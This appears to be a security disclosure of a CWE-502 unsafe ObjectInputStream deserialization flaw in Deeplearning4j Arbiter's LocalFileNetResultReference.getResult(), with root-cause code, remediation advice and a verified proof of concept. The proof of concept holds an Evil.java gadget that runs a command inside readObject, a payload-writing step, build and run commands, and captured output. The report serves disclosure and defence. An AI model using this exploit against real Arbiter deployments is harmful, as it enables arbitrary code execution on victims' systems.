YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
DL4J Arbiter LocalFileNetResultReference.getResult() β unsafe ObjectInputStream deserialization β RCE
Target: Eclipse Deeplearning4j β Arbiter hyperparameter-optimization module
Vulnerable artifact: org.deeplearning4j.arbiter:arbiter-deeplearning4j
Verified version: 1.0.0-beta7 (jars downloaded from Maven Central)
File: org/deeplearning4j/arbiter/saver/local/LocalFileNetResultReference.java
Class / method: LocalFileNetResultReference.getResult() (public, implements ResultReference.getResult())
Vulnerability class: CWE-502 Deserialization of Untrusted Data β Remote Code Execution
Impact: Arbitrary code execution in the JVM of any application that reads/loads/resumes an Arbiter hyperparameter-search results directory whose contents are attacker-influenced.
Root cause
LocalFileNetResultReference.getResult() reconstructs a saved Arbiter optimization result from an on-disk results directory. To do so it deserializes two files with a raw, unfiltered java.io.ObjectInputStream β no ObjectInputFilter, no allow-list, no look-ahead class validation:
// LocalFileNetResultReference.java
25: import org.deeplearning4j.earlystopping.EarlyStoppingConfiguration;
32: import java.io.ObjectInputStream;
...
51: public OptimizationResult getResult() throws IOException {
...
58: EarlyStoppingConfiguration earlyStoppingConfiguration = null;
59: if (esConfigFile != null) {
60: try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(esConfigFile))) {
61: earlyStoppingConfiguration = (EarlyStoppingConfiguration) ois.readObject(); // <-- SINK #1
62: } catch (ClassNotFoundException e) { ... }
...
74: Object additionalResults;
75: if (additionalResultsFile.exists()) {
76: try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(additionalResultsFile))) {
77: additionalResults = ois.readObject(); // <-- SINK #2
78: } catch (ClassNotFoundException e) { ... }
...
ois.readObject() fully materializes whatever Serializable object graph is present in the file, running each object's readObject() / readResolve() gadget logic, before the post-hoc (EarlyStoppingConfiguration) cast at line 61. The cast only executes after the object is already built, so a ClassCastException is post-exploitation noise β the attacker's code has already run. Sink #2 (additionalResults.bin) doesn't even cast; it stores the deserialized Object directly.
Attack surface / how the file gets there
The two filenames are exactly the on-disk layout written by the companion writer FileModelSaver.saveModel(), which persists each candidate result under baseDir/<index>/:
baseDir/<index>/score.txt
baseDir/<index>/model.bin
baseDir/<index>/additionalResults.bin <-- SINK #2 input
baseDir/<index>/earlyStoppingConfig.bin <-- SINK #1 input
baseDir/<index>/numEpochs.txt
LocalFileNetResultReference is the ResultReference implementation Arbiter hands back (and reconstructs) when reading a saved results directory. Any application that resumes an interrupted optimization, aggregates results from shared/network storage, or otherwise reads an Arbiter results directory sourced from an untrusted party will hit getResult() and deserialize attacker-controlled earlyStoppingConfig.bin / additionalResults.bin. With any classpath gadget chain (e.g. commons-collections, and many others common in a DL4J deployment) this yields RCE.
Distinctness / dedup
This sink is distinct from the five previously reported DL4J/nd4j/datavec deserialization sinks:
ModelSerializer.getObjectFromFile- SameDiff
deserialize - nd4j
DataSet.load WordVectorSerializer- DataVec
TDigestDeserializer
It lives in the Arbiter module (arbiter-deeplearning4j), a separate Maven artifact and code path that none of the prior reports touch. No known CVE covers Arbiter's LocalFileNetResultReference.
Proof of Concept
Verified by actual execution against the real released jars arbiter-deeplearning4j-1.0.0-beta7.jar + arbiter-core-1.0.0-beta7.jar (Maven Central), with commons-io, deeplearning4j-nn and nd4j-api on the classpath.
Evil.java β stand-in gadget (proves code runs inside readObject)
import java.io.*;
public class Evil implements Serializable {
static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
try {
Process p = Runtime.getRuntime().exec(new String[]{"id"});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null)
System.out.println("[EVIL-EXEC] id => " + line);
p.waitFor();
} catch (Exception e) { throw new IOException(e); }
}
}
Evil stands in for any real classpath gadget chain β it proves the sink materializes and executes attacker-controlled readObject logic. In a real target the attacker uses an existing gadget (no Evil class needed on the victim classpath).
GenPayload.java β writes the exact FileModelSaver layout
Writes score.txt="1.0" and earlyStoppingConfig.bin = serialized Evil (malicious) or serialized String (benign negative control).
Harness.java β victim
Constructs LocalFileNetResultReference over the directory and calls the public getResult().
Build & run
javac -cp arbiter-deeplearning4j.jar:arbiter-core.jar -d out src/*.java
java -cp out GenPayload maldir benigndir
java -cp out:arbiter-deeplearning4j.jar:arbiter-core.jar:commons-io.jar:deeplearning4j-nn.jar:nd4j-api.jar Harness maldir
Captured evidence (verbatim)
Environment: openjdk version "25.0.4-ea"; jars arbiter-deeplearning4j-1.0.0-beta7.jar, arbiter-core-1.0.0-beta7.jar, commons-io-2.11.0, deeplearning4j-nn-1.0.0-M2.1, nd4j-api-1.0.0-M2.1.
=========== MALICIOUS RUN ===========
[HARNESS] calling getResult() on dir=maldir
[EVIL-EXEC] id => uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
[HARNESS] post-deser throwable: java.lang.ClassCastException: class Evil cannot be cast to class org.deeplearning4j.earlystopping.EarlyStoppingConfiguration (Evil and org.deeplearning4j.earlystopping.EarlyStoppingConfiguration are in unnamed module of loader 'app')
=========== NEGATIVE CONTROL (benign serialized String) ===========
[HARNESS] calling getResult() on dir=benigndir
[HARNESS] post-deser throwable: java.lang.ClassCastException: class java.lang.String cannot be cast to class org.deeplearning4j.earlystopping.EarlyStoppingConfiguration (java.lang.String is in module java.base of loader 'bootstrap'; org.deeplearning4j.earlystopping.EarlyStoppingConfiguration is in unnamed module of loader 'app')
maldir/earlyStoppingConfig.bin: Java serialization data, version 5
Interpretation
- Malicious input β
Evil.readObject()fires duringois.readObject()atLocalFileNetResultReference.java:61, executingidbefore the failing(EarlyStoppingConfiguration)cast. TheClassCastExceptionis post-exploitation noise. - Negative control (a benign serialized
StringinearlyStoppingConfig.bin) produces the same cast failure but no[EVIL-EXEC]line and no command execution, proving theexecoriginates from deserializing the attacker-controlled file content, not from the harness. - The identical primitive applies to sink #2 (
additionalResults.bin, line 77).
Remediation
- Replace the raw
ObjectInputStreamwith a hardened stream that installs a strictObjectInputFilterallow-listing only the expected classes (EarlyStoppingConfigurationand its known members), rejecting everything else beforeresolveClass. - Prefer a non-executable serialization format (JSON/Protobuf) for persisted Arbiter results.
- Treat any results directory not produced by the same trusted process as untrusted input.